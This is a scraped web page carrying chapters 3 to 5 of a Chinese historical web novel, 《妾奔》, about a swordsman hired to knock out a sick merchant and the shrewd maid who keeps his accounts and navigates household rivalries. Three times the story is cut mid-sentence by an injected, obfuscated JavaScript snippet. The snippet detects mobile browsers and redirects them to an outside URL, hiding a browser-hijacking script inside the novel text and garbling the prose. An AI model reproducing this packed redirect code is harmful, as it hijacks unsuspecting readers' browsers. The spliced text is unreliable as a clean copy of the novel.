《妾奔》 3. 心生惋惜 行至前院,丹穗跨进月亮门遇见王管家从石园出来,她扬起笑问:“王叔,可是老爷醒了?” “早醒了,你去哪儿了?老爷找不到你发了好一通脾气。”王管家见到丹穗如见救星,他显而易见地松一口气,催促说:“老爷正在见那个刀客,你去候着吧。” 丹穗“哎”一声,她脚步匆匆穿过石园走到廊下。 韩乙的目光偏向门口,已过午时,日头偏西,门外的廊下洒下一大片金光,连带门内也漏进了些。随着靠近的脚步声,一抹拉长的影子先晃动着进来。 丹穗一进门先看见靠墙坐的刀客,她冲他点一下头,绕过屏风扬起笑看向罗汉床,她迅速打探一眼施老爷的脸色,见他心情不错,她悬着的心落地,缓步走到床尾站定。 施老爷朝她看去一眼,继续之前的话题:“韩大侠行走在外消息灵通,你可晓得师相的消息?我这半年没怎么出门走动,只听人说襄阳城沦陷后,朝廷贬他去外地?这个亡国贼子没可能再起复吧?” “死了。”韩乙嘴角泛起一抹冷笑,他坐直了说:“没可能再起复,眼下尸体都长蛆了。” “可真?”施老爷兴奋,他拍手道:“真是好消息!皇上下令杀的?我听说是贬谪啊,难不成消息是假的?师相的长姐是贵妃来着,没保住他?这妖妃也死了?” 韩乙摇头,“皇宫里的事我没听到风声,不过师相的确是死了,听闻他是被护送的将领斩杀在破庙里。” “该杀!杀了还该鞭尸,没用的东西!襄阳城跟我们平江城一样有护城河,易守难攻,多好的地势,他还让胡虏弄来了水师把城攻破了。”施老爷义愤填膺地骂,他气得脸色涨红,一时气没喘过来,演变成无休止地咳。 丹穗上前给他拍背,待咳嗽稍缓,她端水喂他。 韩乙挪过目光,他看向脚下猩红的地毯。 施老爷平息过来,他推开丹穗,面带苦涩地说:“我身子骨不中用了,活了今日没明日,估计是看不到把胡虏驱出我朝的国土。” “施老爷得了什么病?”韩乙顺口一问。 丹穗看他一眼,鱼上钩了。 施老爷抬手敲了敲头,说:“这里面长的有东西,治不好,天庆观一个擅医的高僧说我寿限不足三年了。我不瞒你,我这病啊一时半会儿死不了,就是折磨人,发作起来疼得我满地打滚,恨不得一头撞死在墙上。大夫开的药对我来说没用了,所以请了你来,想试试我发病时让你把我打晕过去。” 韩乙瞬间明白了这里面的弯弯绕绕,施家雇他当护院是假,实则是当“大夫”。 “韩大侠,你觉得这法子可靠谱?”施老爷殷切地问。 “你用过迷药?”韩乙用肯定的语气问。 “用过,不中用。”施老爷说罢看丹穗一眼。 丹穗代为详说:“老爷发病是突发的,没有固定的时辰,这导致迷药不能提前用,他多少还是要受罪。而且发病的时长也不同,迷药量少,老爷还会疼醒;量重了,老爷一睡能睡一天,想法子弄醒了也是迷糊的,严重了还会呕吐。” “行,那就试试打晕的法子。”韩乙应下,他跟施老爷说:“你放心,我常年练刀,晓得轻重,会尽量让你少吃苦。” “那就托付给你了。”施老爷很是感激。 丹穗浑身一轻,要是真有用,她的日子也能好过许多。 想到此,丹穗斟碗茶送到韩大侠手边。 韩乙瞥一眼递到跟前的手腕,从她给施老爷拍背他就注意到她的手腕有问题,手掌上抬时会下意识卸力,应该是手腕有伤。 日头越发西斜,从窗棱中漏下的金光不知何时退了出去,屋里越发昏暗,腐朽沉闷的气味如河上的水雾一般,从脚下徐徐攀升。 韩乙的目光随着黛色的裙角回到罗汉床上,皮垂骨凸的老人如一只干瘪的蚂蝗。 施老爷换个姿势躺回床上,他随口问:“韩大侠武艺高强,怎会愿意来我一个商人家里当护院?” 韩乙霎时悟到他的言外之意,雇护院是掩人耳目的说辞,本是担心有仇的人害他,因此也怀疑来路不明的他。他思量了下,透露说:“我去年在守襄阳的战场上受了伤,之后襄阳沦陷,我离开了。养好伤后一路朝东走,追杀山匪、打杀拦路虎、平不平之事都做过。路过平江城时身上的银子花光了,我打算进城看看官府有没有贴悬赏令,想接个任务赚点钱。今天一进城门,脚刚沾地就被你家的管事缠住了。” 施老爷立马坐起来,他端正神色,敬佩道:“是老头子失礼了,不知韩大侠还是砍杀胡虏的义士。我听说胡虏围困襄阳城时,张姓兄弟纠集一帮义士冲破胡虏的拦截,乘船进襄阳城送粮,其中可有你?” 韩乙点头,继而摆手说:“我不欲提起旧事,要不是施老爷起疑,我不会提起一言,还望施老爷别张扬。” “一定,一定。”施老爷打消探问战事的心思,但疑心还未解。他看丹穗一眼,她的目光不在他身上,二人目光没对上,他只能自己开口:“韩义士是襄阳人士?我后院有一房小妾老家是襄阳的,其父原是襄阳守城官,可惜在十年前就去世了。” “非襄阳人士。”韩乙否认。 丹穗此时意会到施老爷的意思,也发现一个她忽略的疑点,她接话问:“那就是平江人了?我发现韩大侠有我们当地人的口音。” 韩乙沉默,他这会儿后悔来施家当护院,富贵人家就是事多,忒无趣。 “我娘是平江人,我幼时在平江长至七岁才离开,故而有平江口音。”韩乙说罢起身,他忍了又忍还是没忍住,一拍椅背撂腿就走,放话说:“信不过我我这就离开。” 施老爷连“哎”几声,他忙说是误会,自己没那意思。见韩乙大步出门,他生怕他真走了,忙催丹穗追出去解释。 丹穗追出门,韩乙已过宝瓶门,她拎起裙摆追上去。 韩乙在护卫院门外停下步子,待丹穗追过来,不等她开口他先说:“行了,回去照顾你主子吧,我暂时不会走。” 丹穗:“……大侠不生气就好,您是江湖人士,向来是不拘小节,不像生意人,生来疑心重,尤其是我家老爷还病重,越发疑心深重,您别见怪。” 韩乙能理解,他也只是一时憋屈,出了门就消气了,大步离开只是为了不让施老爷继续探究他的过往。 “你去回话吧。他要是发病了你喊一声,我听见就过去。”韩乙不让她这个做仆的人为难。 丹穗笑着点头,她走出去两步又回头说:“护卫院地方窄,你练刀的时候可以来石园。” “我……”韩乙下意识想拒绝,拒绝的话却说不出口,他在护卫院练刀的确是施展不开。 “你放心过来吧,我会跟老爷讲的,他不会有意见。”丹穗补一句。 回到议事堂,丹穗发现施老爷站在窗边,没有躺在罗汉床上,她拿件长袄给他披上,温声说:“起风了,老爷小心着凉。” “他怎么说?” “没恼着要走。” 施老爷轻笑一声,他拍拍丹穗的手,说:“越发没用了,还要我来打听他的来路。” “他在我和王管家面前可凶了,我不敢多问,害怕他生起气来拿刀砍我。”丹穗半真半假地说,她扶施老爷坐回床上,拍马屁道:“姜还是老的辣,他在您面前还是个毛头小子,经不住几个回合的试探。” “算是歪打正着,没想到他还上过战场,我骂那老奸相对他的胃口。”施老爷咂几声,说:“都讲江湖上的人不理朝堂上的事,这位倒是难得,心怀家国,是个义士。你们把人给我留住了,别让他跑了。对了,许他月钱多少?” “二十贯,跟我一样。” “提到五十贯。”施老爷瞥她两眼,说:“你也一样。” 丹穗顿时喜笑颜开,受伤的手腕感觉都好了大半。 “踏实跟着我,好处少不了你的。”见她高兴,施老爷心情也不错,他最不缺的就是钱,这方面他不缺底气。 丹穗不想像狗一样表忠心,她轻应一声,挪步去收拾残茶。 “我睡醒那会儿你去哪儿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138079|164468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?铺子里的账本都送来了你还没来。”施老爷高兴归高兴,他还没忘之前不愉快的事。 “账本已经送来了?账房也走了?是我耽误了。”丹穗回过身,她觑施老爷一眼,低声说:“我安顿好韩大侠,去吃饭的路上被太太的人叫了去,她关心老爷的身体……” 话到嘴边,丹穗还是没告李大夫的状,朱氏毫不忌惮让她知道是李大夫告的密,难不成不怕她在施老爷跟前告状?她若是告状能不能赶走李大夫?若是不能,经施老爷敲打后,她跟李大夫就对上了。 “往日也不见她关心,她儿子一来她就关心上了,她就没问你旁的?”施老爷拉下脸,他也不用丹穗回答,自顾自说:“心越发贪了,不知足的老妇,跟她蠢儿子一个德性。” 丹穗不接话,心里暗暗赞同。 “陆承要是拿了账本来,不许你帮他对账。”施老爷嘱咐。 陆承辟宅另过时,施老爷送他一家位置颇好的绸缎铺,赠送的不单是铺面,还有货源。施家有自己的丝行和绸缎行,成货直供商铺,送给陆承的绸缎铺也包含在内。货供他挑,还给最低价,可以说这是只不用喂还能下金蛋的母鸡。 偏偏他用他亲爹那边的族人当账房,用他妻子的娘家人当掌柜,自己当个万事不管的东家,坐等收钱。等账房跑路了,他才意识到不对劲,跟掌柜一对账,发现卖七尺绸记八尺的账,多的那一尺账房自己塞腰包了。而这种情况持续多少年了也没人知道,账本攒了三大箱,陆承压根理不清楚,自然不清楚账房卷走多少钱,报官都说不明白。 “听您的。”丹穗应下,她拿茶壶出去,不一会儿换了壶热的安神茶进来。 “我这儿不要你伺候了,你对账去吧。”施老爷说。 议事堂用屏风一隔两半,屏风另一边摆着长桌高椅,桌椅都是黑檀木制的,颜色深,跟丹穗自己的书房不是一个风格,她用了半年依旧不习惯。 算盘珠子归位,宣纸摊开,丹穗抽出一本账本打开,字一入眼,她立马摒弃外物,专心致志地默记,整个人如入定一般,只有眼珠随着思考左右转动。 施老爷走出来,他挑一张圈椅坐下,目光落在丹穗身上不动了。 一柱香后,丹穗看完一本账,她丢下账本闭眼缓了缓,待紧绷的情绪转平,她起身倒水碾墨,这才察觉到下首多了个人。 “老爷,您要是觉得无趣不如让人喊韩大侠过来,他不是日日要练刀,让他来石园练,我跟着您也开开眼。”丹穗心里清楚,每逢她对账时,施老爷是最好说话的。 果不其然,施老爷听了她的话,便出去唤月亮门外守的小厮去喊人。 韩乙拎着刀过来,一进石园先听到算盘珠子噼里啪啦的声音,珠子的拨动声没有停顿,每一声都直白有力,可以想象打算盘的人每一个动作都不含犹豫,估计小孩乱拨都没这么熟练。 “来了?以后你在石园练刀,注意不要伤到丹穗就行。”施老爷交代。 韩乙点头,他走到施老爷身边,也看清正堂上站在桌后垂眸打算盘的人,是丹穗,她的手指在算盘上飞快跳跃,灵活得快要舞出残影,对比下,垂落晃动的发丝几乎是静立不动的。 一盏茶后,跳跃的手指停下了,丹穗右手执笔沾墨,在宣纸上写下一行字,继而拿起账本一看。 施老爷见她得意地翘起嘴角,他也跟着笑了。 “这是算对了,她算的账跟账本上的账对上了。”施老爷跟身侧的人解释,他像是展示自己私藏的宝贝一样,骄傲地说:“你可别以为她是乱拨一通,丹穗有过目不忘的本事,还极通算学,一本账别人要核对一两天,她半个时辰就对完了。” 日头偏过屋脊,天井下也暗了下来,飞檐翘角遮掩下的内室在一瞬间失了光彩,石砖的青灰、桌椅的沉黑如融化了一般席卷整间屋。 长桌上空悬挂的八角灯亮了起来,丹穗吹灭火折子,拿一本账继续翻动。 一簇灯火下,她像是一只深陷蜘蛛网的蝴蝶,翅膀已被蜘蛛啃食。 韩乙心生惋惜。 4.可怜 日落霞生,风静云雾浓,日暮中的水城,在黄昏时变得雾蒙蒙的。 施园中悬挂的八角灯笼陆陆续续点亮,璀璨的灯光应和着河道上传来的叫卖声,竟比白日还要热闹。 丹穗从议事堂出来,见施老爷和韩大侠坐在石园中央的角亭,她绕过怪石嶙峋的太湖石拾级而上,走进角亭问:“老爷,天晚了,可要摆饭?” “我吩咐过了,你忙完就摆饭,今晚给韩义士接风。”施老爷示意丹穗坐他身边,说:“坐下吧,待会儿多吃一点,我让厨房蒸了你爱吃的银鱼。” 丹穗从容落座,施老爷不发邪火的时候待她一向不错,吃穿用方面没得挑。 “太湖有三白,白鱼、白虾和银鱼,韩义士可尝过?”施老爷问。 韩乙点头,“在前往平江城的船上尝过。” “那你有口福,刚打捞出水的鱼虾最鲜,可惜出水即死,运到城里鲜味略寡,好在我家厨子手艺好,饭食一向不错,你待会儿尝尝。要是吃不惯平江菜也别勉强,让厨子再做旁的口味。”施老爷和善地说。 韩乙道声谢,他不动声色地瞥丹穗一眼,见她垂着头揉右手手腕,他朝施老爷看去一眼,发现前一瞬对她还关怀倍切的老头子眼下对她的不适视若无睹,他暗叹可怜。 角亭四面垂着罗帷挡风,前来送饭的小厮看不清亭子里的情况,惧于施老爷的古怪脾气,为首的小厮靠近亭子时喊一声:“丹穗姑娘可在?” “在。”丹穗起身,她打起帘子说:“快送饭上来。” 亭外暮色深重,一轮弯月寡淡地挂在天上,石园里矗立的石头模糊了形状,萦绕着水雾变得张牙舞爪。 施老爷是商人,一身的铜臭味,没什么赏石的雅趣,置石园只是为了附庸风雅,买来的石头以大、怪、奇闻名。每到夜晚,丹穗走在石园心里忍不住发毛,她总担心黑黢黢的石穴里藏着要害她的人。 饭食摆好,小厮退下,青色罗帷落下,丹穗回到桌前替施老爷盛汤挟菜。 三个人六菜二汤,其中一道汤是施老爷每日要喝的老鳖汤,丹穗给他盛一碗放在手边。 “你也坐下吃,你累半天了。”施老爷发话,“账本可有问题?” “账都对得上,只要铺子里的出货和存货跟账本上一致,那就没问题。”丹穗说。 施老爷朝对面看去一眼,日后他发病若能得到控制,不会当众失态,他或许能走出家门。 “韩义士,这些菜可合你的口味?”施老爷关切地问,不等韩乙回答,他转而对丹穗说:“跟厨房吩咐一声,往后给韩义士的饭食多添两个肉食,少鱼虾,习武之人喜食重荤。” 丹穗应下。 韩乙也没拒绝,本邦菜精细,口味咸甜,他吃不惯,而且这些鱼虾豆腐也不下饭,吃着还麻烦。 一顿饭下来,韩乙没吃饱,桌上另外两人一个吃得慢,一个吃得少,整得他不好意思大口吃喝。 “以后我的饭送去我屋里。”他跟施老爷说,他不愿意再跟他一起吃。 施老爷也没打算顿顿跟他一起吃,他笑着应下。 见韩乙欲走,丹穗忙开口:“老爷,今晚不如让韩大侠安置在议事堂?万一您夜里发病……” “对,我夜里也有发病的时候,韩义士不如歇在议事堂,我一旦有不对劲,你立马把我打晕。”施老爷也有让韩乙守夜的想法,他出那么高的月钱可不是请墫佛回来供着的。 韩乙没意见,听从安排。 丹穗心里一喜,她语气轻快地说:“我去喊人,在窗下再置一张罗汉床。” 床置好,丹穗正准备功成身退回自己屋里睡觉,就听施老爷嘱咐:“你还继续守夜。” “……是,我回屋洗洗就来。”丹穗无声叹口气,她还以为找个值夜的替她,她就能睡个安稳觉。自施老爷搬到议事堂,她夜夜守着他,再继续下去,等他病死,她也要熬死了。 …… 韩乙回到议事堂时发现施老爷昏昏欲睡,内室也只有一道呼吸声,他没多耽误,利落地在罗汉床上躺了下去。 随着主人家睡下,前院陷入寂静,隔壁轿厅的人声不知何时消失了。韩乙一时睡不着,他闭眼能清晰地听见夜风在石孔中穿梭的声音,以及石园另一端,木门开合声、泼水声。 陡然,韩乙睁开眼,石园里的脚步声行至廊下,他掀被坐了起来。 门推开又关上,丹穗拎着灯笼绕过屏风走进内室,见本该睡下的人端坐着,她低声问:“韩大侠还没睡?可是不适应?” “今晚不是我守夜?” “老爷让我也来守夜,应该是怕夜里如厕或是喝水麻烦你。” 韩乙沉默,这伺候人的事他的确做不来。 丹穗吹灭灯笼,她摸黑走到罗汉床边,在施老爷脚边躺了下来。 屋里又静了下来,韩乙却没了睡意,眼睛适应了黑暗,他清楚地看见几步之遥的床榻上,隆起的被褥下,一个年轻貌美、富有天资的女子被一个懊糟老头子用来当暖脚婢,他心里涌起厌恶和暴戾。这种感觉太熟悉了,胡虏的铁骑一路南下,一座座城池沦陷,百姓家破人亡流离失所,而朝廷软弱无能,掌权者依旧荒淫无度,视百姓如蝼蚁。他救得了一个两个,却救不了一城一池,只能眼睁睁看着这片大地沦为炼狱,目睹亡国的火越烧越大。他无能无力,战死了也改变不了什么,只能选择逃避。 旧事浮上心头,韩乙气血翻涌,一时冲动,他掀被下地,几个大步走到罗汉床边,一个手刀劈晕老头子。他看着床尾一脸惊恐的人,沉声说:“下来。” 丹穗麻利溜下床,娘哎!王管家不会误把山贼当刀客请回来了! “睡那个床上去。”韩乙伸手一指。 丹穗瞥他一眼,她不敢吭声,乖顺地走到窗边的罗汉床上坐下。 “你今晚睡这儿,我就在外面,他有动静你喊我。”韩乙绕过屏风出去了。 丹穗:…… 又误会他了。 屋外起风了,廊下悬挂的八角灯笼随风而动,晃动的光晕落在窗上,屋里亮了一瞬。丹穗看清如死人一样瘫在床上的老头,她不放心地走过去探一下鼻息,轻步走了出去。 议事堂的木门还关着,丹穗眯眼环视一圈,在堂前长桌上发现人影,那个捉摸不定的男人似乎躺在长桌上。 “韩大侠,你这是……” “你家是哪里的?家里可还有亲人?”韩乙问。 “不知道,我是被人牙子卖进来的,来施家时才五岁。”丹穗回答。 “对五岁之前的日子可还有印象?”韩乙又问,“按说你有过目不忘的本事,父母不该是寻常人,你不会是被拐卖的吧?” “不是,我是被我娘卖的。至于她,她一个妇道人家带着两个儿子想在这乱世里活下去不容易,就算还活着,我们这辈子也难再见面。”丹穗平静地说,“我也不算是过目不忘,只是记东西快,看一遍能记住,日子久了还是会忘的。” 韩乙心中失望,丹穗没有他猜想中的显贵身世,依她的姿色,在这乱世中,固若金汤的平江城,家大业大的施家已是她最好的落脚地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140726|164468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我回答了韩大侠的疑问,大侠是否能替我一解疑惑?你……这是什么意思?”丹穗问。 韩乙哑口无言,他不好说是可怜她,见不得她怀有一身的本身却被欺负得如暖脚婢一样缩在施老爷脚边取暖过夜。实际上她不曾向他求助,也不曾抱怨过,这只是他一厢情愿的臆测,臆想她是断翅难逃的蝴蝶,或许她压根没有逃跑的意思。 “是……”韩乙闭上眼,他无奈地说:“我忍不了施老爷的鼾声,忍不住把他打晕……你去睡吧,有事明天说。” 丹穗沉默片刻,她回到内室把罗汉床上的盖被抱出来放圈椅上,说:“夜里凉,您盖上被子。” 韩乙没作声,他听着脚步声离开,不一会儿内室响起开箱子的声音,紧接着脚步声去了窗边。 丹穗躺回罗汉床上,她侧着头看向映着光晕的窗子,独自品味着这猝不及防的善意。 * 晕过去的施老爷一夜没醒,丹穗难得睡个安稳觉,但习惯了提着心,故而外室一有动静她就醒了。 屋外的天还没亮,廊下的灯笼灭掉了,室内昏惨惨的。丹穗朝对面看一眼,施老爷还没醒,她赶忙穿鞋下地,把床上的被褥叠起来放回樟木箱,又蹑手蹑脚出去抱回长桌上的被褥放回罗汉床上。 一切收拾妥当,丹穗出门,石园里不见前一刻出来的男人,她绕一大圈也没寻到人,只得先回屋收拾自己。 巷头的民居里响起嘹亮的鸡鸣,施园的下人醒来,沉寂的大宅由开门声、脚步声、洒扫声唤醒。 丹穗换身衣裳去小厨房提热水,回来时看见韩乙在石园练武,他手上没拿刀,空手在空地上打拳。她走到廊下站定,打算等他结束跟他对一下说辞,不巧的是屋内传来施老爷的喊声。 丹穗高声应一声,“来了。” 韩乙动作一顿,然而也不过片刻,他继续出拳踢腿。 昏暗的内室里,施老爷顶着一头花白头发靠坐在床头,丹穗点燃蜡烛,她觑着他的神色,藏着小心问:“老爷昨夜睡得可好?竟一夜没醒。” 说起这事,施老爷脸上含笑,他点头说:“是不错,昨夜好似也没再做噩梦,就是睡落枕了,这边脖子有点疼。” 丹穗忙上前给他揉一揉,她低头瞧手上捧着的松垮肉皮,柔声说:“或许是韩大侠的功劳,我听老人说身上带煞气的人,脏东西不敢靠近。他是上过战场的,手上肯定有人命,有他镇着,外面的脏东西不敢进这个门,您也不做噩梦。” 施老爷意味不明地笑一声,问:“他人呢?” “在石园练武。”丹穗不再多说,免得引他起疑。 给施老爷梳洗好,丹穗扶他出去,“您今天精神好,我扶您在石园转几圈?” 施老爷没觉得精神有多好,可能是睡久了,头还有些发昏。 “行,走几圈,多动动身体好。”施老爷强打起精神步入石园,见韩乙在空地上练得虎虎生风,他忍不住说:“他要是旺我,我说不定还能多活几年。” 丹穗微微一笑。 韩乙见他们主仆二人靠近,他停下扫腿的动作。 “你练,你练,我随便看看。”施老爷打量着他,带着寒气的早上,这人穿着一件薄衫还热出了汗。 “还是年轻好啊。”他叹一句。 韩乙看丹穗一眼,看样子她没跟施老爷说昨晚的事,如此他不用再另谋差事。 她有意隐瞒,他也不提。 一个小插曲就这样过去了,二人揣着同一个秘密,似多了一丝隐秘的联系。 5.巧用眼泪 河道上传来叫卖声时,大太太朱氏带人走进石园。 “老爷醒了吗?”薛大娘问守门的小厮。 丹穗听到声开门出去,见月亮门外人影晃动,她快步穿过石园迎上去,“是太太啊,来看老爷的?老爷还在睡,您进屋坐一会儿?” 朱氏朝她眼睛看去,昨日的红血丝似是变得红紫,铅粉敷盖下隐隐能看见紫痕。 丹穗脸上的笑变得勉强,她微微偏过脸,问:“太太,可要叫醒老爷?” “不叫他,让他睡,我过来没要紧事。”朱氏见她面露狼狈,她心情大好,声音也跟着和蔼下来。 “我去角亭坐坐,你过来陪我,跟我说说老爷的情况。昨夜可是又犯病了?往日这个时辰他早醒了。”朱氏牵住丹穗的手,眼睛又朝她脸上瞥去,心疼地说:“你也跟着受罪,眼睛一圈像是挂着紫红的蛛网,糟蹋了这好看的脸蛋。” 丹穗被她亲亲热热的动作弄得浑身发僵,她衣裳下汗毛倒竖,面上还得装出一副受用的样子,低声说:“劳太太惦记,不妨事的,一些血丝罢了,日子久了会消下去的。” 二人走进角亭,随后有丫鬟送来茶水和果碟,茶盘上还有一个塞着红布的小瓷瓶。 “这是化淤消肿的药,你拿去用吧。”朱氏说。 不是啥稀罕的东西,丹穗没拒绝,她拿走瓷瓶攥在手里,说:“谢太太惦记我,老爷这边您放心,我一定尽心伺候。老爷昨夜没犯病,睡得还不错,早早就醒了,就是绕着石园走几圈走累了,饭后又睡了。” 朱氏面上一顿,她笑着说几声那就好,“我还担心昨日你二爷气到他了,他那孩子就不是做生意的料子,偏偏老爷不信,坚持要送他个绸缎铺练手,这下要叫他失望了。” 丹穗悬着的心落地,原来是为这事啊。 “没听老爷说什么,看样子他没放在心上。”她识趣地透露口风。 朱氏暗暗满意,她收回话头,转而问:“昨日来的那个刀客呢?” “在护卫院,太太可要见他?我去喊他。”丹穗迫不及待地起身,她不想再在这里坐下去。 朱氏松开手,放她走了。 护卫院,韩乙在天井下帮李大夫切药,李大夫跟他打听平江城外的事,他有一声没一声地应着。 “韩义士,你觉得胡虏会打到平江城吗?战事若是来了,我们该往哪儿逃?”李大夫忧心地问。 韩乙朝甬道连通的月亮门看一眼,他放下刀,说:“你自己切。” “哎……”李大夫以为他把人问烦了,还没来得及道歉,丹穗的身影出现在院门外。 “韩大侠,太太要见你,你跟我来一趟。”丹穗在门外说。 李大夫目光一闪,他拿起刀沿着黄芪的切口切一刀。 丹穗朝李大夫看去一眼,领着韩乙走了。 一脚踏进石园,充斥着慌张的骚乱声入耳,丹穗心道不妙。 朱氏站在角亭上看见一前一后进来的两人,话到嘴边她忘了说,俊男俏女,好比奇石缝里长出一株花,煞是养眼。 “老爷的脑疾又发作了,丹穗你快去看看。”朱氏见丹穗朝议事堂跑去,她撑着柱子喊一声。 薛大娘一脸急色地站在门外,她见丹穗过来,如释重负地说:“姑娘,快,老爷喊你呢。” 朱氏带来的丫鬟都被赶了出来,丹穗和韩乙越过她们,进门入眼的是掀翻在地的屏风,施老爷俯趴在地,听见有人进来,他骤然回过头,惨白的脸上,额头上迸起的青筋如雨后水坑里扭曲的蚯蚓,眉下一双阴毒的眼恨不得撕咬人肉 丹穗哪怕见惯了他这个样子,心里还是不免发寒。 韩乙上前两步,一个手刀劈下去,形如恶鬼的老头瞬间瘫软下去。 丹穗吁口气,说:“麻烦韩大侠把老爷弄回床上。” 朱氏进来了,她闻到屋里的味儿暗暗皱眉。 “老爷怎么了?” “晕过去了。老爷请来韩大侠就是为了让他在他发病时打晕他。”丹穗麻溜解释,她擦干施老爷脸上的汗,见他晕过去了嘴角还抽搐着,她不放心地喊韩乙来看,“莫不是晕过去了还能感觉到疼?” 韩乙扶起屏风,他拎个圈椅坐罗汉床床边,说:“又不是死了,肯定能感觉得到疼。若是疼狠了,他还会转醒,我在这儿守着,醒了我再给他打晕。” 朱氏走上前,她盯一眼施老爷,目光挪到韩乙身上,继而扭头吩咐:“喊李大夫来,叫他过来守着。” “这是我们太太。”丹穗站一旁介绍。 韩乙点一下头,没有说话。 朱氏一哽,脸上的表情冷了下去。 丹穗垂下脸,只当什么也没看见。 “李大夫来了。”薛大娘在门外喊一声。 李大夫挎着药箱跑进来,朱氏退让到一边,吩咐说:“你去看看。” 李大夫上前把脉,如之前一样,施老爷脉象乱得很,他对他这个病束手无策,下针都不知道该扎哪个穴位。 “如何?”朱氏问。 李大夫摇头,“只能等施老爷醒来再看情况。” “能醒过来吗?”朱氏瞥韩乙一眼,她意有所指道:“你们可把老爷伺候好,他要是出事了,你们都落不着好。” 韩乙看她岁数大了,他不跟她计较,只当没听见。 “这是头一次打晕老爷,我们心里没谱,不如太太也在这儿守着?”丹穗不想受这个气,日夜贴身伺候还不行?怎么才叫伺候好?。 朱氏脸一垮,她正要发作,薛大娘一咳,她想起要拉拢丹穗的事,话到嘴边又咽了下去。 薛大娘搬来一个圈椅,指着窗下的罗汉床问:“这是丹穗姑娘的床?怎么又置一张床?之前不都是跟老爷同睡?多一张床内室越发挤了。” “我睡的。”韩乙开口。 薛大娘找茬失败,只能跟她主子一起闭上嘴。 屋里一下静了下来,四五双眼睛齐齐落在施老爷脸上,他如魇住了似的,眼皮抽动着想睁开,嘴巴开开合合却发不出声,看上去凄惨又可怜,可旁观的人没一个心疼的。 朱氏看了一会儿忍着恶心起身出门,她吩咐说:“去把二姨娘、三姨娘和四姨娘喊来伺候,老爷年轻时多疼她们,如今病了该她们来照顾。” 丹穗瞅一眼施老爷嘴边挂的涎水,她挪开眼,跟出去为难地说:“太太,老爷不让其他人看见他发病的样子。” “他不是晕过去了?你不多嘴他能知道?”朱氏双眼含恨,脸上却浮起一丝笑,她拍拍丹穗的手,说:“好姑娘,你可别糊涂。” 说罢,朱氏扬长而去,显然是打定了主意。 不消一盏茶的功夫,薛大娘领来三位老姨娘,她嘱咐说:“太太吩咐了,你们识点眼色,赶在老爷清醒之前离开。” 二姨娘、三姨娘和四姨娘年纪也不轻了,她们年轻时仗着姿色和膝下的孩子给朱氏使了不少绊子,后来新人多了,施老爷彻底忘了旧人,她们才朝朱氏服软。 “丹穗姑娘,这儿有人伺候了,你回屋歇着吧。”薛大娘把丹穗请出门,仆随主相,她也长着一张刻薄脸,笑起来一副皮笑肉不笑的样子。 丹穗故作为难地叹口气,她朝门内看一眼,咬牙说:“我不说,但不保证其他人不走漏口风,老爷要是发现了,我替太太遮掩不了。” “你不说,老爷就不会发现。”薛大娘颇为自信。 拉扯几个回合,丹穗心想装得差不多了,她暗揣着窃喜佯装不舍地离开。 丹穗前脚离开,李大夫后脚也走了,韩乙收下薛大娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148444|164468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞的银子,他爽快地去外室翘脚休息,留薛大娘带着三个老姨娘在内室伺候。 * 太阳的金光穿透水雾落进天井时,丹穗换身干净衣裳出门。 护卫院里,李大夫还在切黄芪,听见轻盈的脚步声缓缓靠近,他回头看一眼。 “李大夫,我来看病,我的手腕窝气了,你看能不能给我扎几针。”丹穗撸起右手的衣袖,露出一截白花花的胳膊。 李大夫迅速垂下眼,他道一声稍等,过了片刻,他从屋里拿出一排银针。 明晃晃的日头在细长的银针上落下刺眼的光,针刺下来时,丹穗盯着他问:“李大夫不会暗下黑手吧?” 李大夫手一顿,针尖刺破皮肉,殷红的血滴迅速汇成血珠。 “李叔,我可有得罪你的地方?”丹穗追问。 “丹穗姑娘说笑了,我们无冤无仇。”李大夫重新下针。 丹穗盯着三根针接连落下,待李大夫收手,她继续说:“昨天晌午太太喊我过去问话,她问我二爷在门外跟我说了什么。她是怎么知道的?当时除了老爷,石园只有我们三个人。” 李大夫不说话了。 丹穗盯着手腕上晃动的银针,眼泪无声落了下来。 李大夫瞧见了,他皱起眉头。 “李叔,这半年我是如何熬过来的,你看得最清楚,我过得还不够苦吗?你也要来踩我一脚。”丹穗哭出声,“老爷把我打伤的时候,是你给我治伤……我拿你当半个长辈看待,没想到你拿我当垫脚石……你们要把我逼死才罢休?” “我不是有意的,我也有苦衷。”李大夫没做过多少丧良心的事,丹穗的眼泪勾起他的羞愧心,他“哎呀”几声,透露口风说:“你像今日一样顺着太太的话做事就行了。” “账出问题,大爷回来会杀了我的。” “那……那……”李大夫也没办法,他取下丹穗手腕上的针,没奈何地说:“你难我也不容易,为你周全了我会有麻烦。你做事注意点,别让太太发恼。她不为难我,我就不为难你。” 